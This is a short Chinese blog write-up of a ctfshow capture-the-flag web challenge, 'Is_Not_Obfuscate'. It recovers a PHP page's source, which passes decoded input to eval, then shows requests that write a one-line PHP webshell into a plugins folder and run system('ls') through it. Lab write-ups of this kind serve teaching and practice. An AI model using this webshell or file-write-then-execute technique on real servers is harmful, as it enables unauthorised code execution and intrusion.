ctfshow菜狗杯(Is_Not_Obfuscate)

提示都在源码(F12):

<!-- //测试执行加密后的插件代码 
	   //这里只能执行加密代码,非加密代码不能执行
	  eval(decode($_GET['input'])); -->
<!-- <button name="action" value="test"> 执行 (do)</button>-->
<!-- Test the lib.php before use the index.php!-->
<!-- After that,delete the robots.txt!-->

在robotes.txt中我们发现了

/lib.php?flag=0

访问以后什么都没有得到,试着将flag=0改为flag=1得到了一堆数据,看上去像加密的数据,结合题目的源码提示我们试着访问如下:

?action=test&input=‘url编码获取的加密数据’

得到了下面的源码:

<?php
header("Content-Type:text/html;charset=utf-8");
include 'lib.php';
if(!is_dir('./plugins/')){
    @mkdir('./plugins/', 0777);
}
//Test it and delete it !!!
//测试执行加密后的插件代码
if($_GET['action'] === 'test') {
    echo 'Anything is good?Please test it.';
    @eval(decode($_GET['input']));
}

ini_set('open_basedir', './plugins/');
if(!empty($_GET['action'])){
    switch ($_GET['action']){
        case 'pull':
            $output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
            echo "pull success";
            break;
        case 'push':
            $input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
            echo "push success";
            break;
        default:
            die('hacker!');
    }
}

?>

 利用点很明显在‘push’写文件之后利用‘pull’读取文件执行我们的payload。

写文件:

?action=push&output=<?php eval($_GET[1]);phpinfo();?>

获取文件名也就是计算md5的值,本地计算即可。

读文件执行:

?action=pull&input=8d42ec7469dcadc5679dce59d7a27342&1=system("ls");

 

posted @ 2022-11-14 10:47  hithub  阅读(254)  评论(0编辑  收藏  举报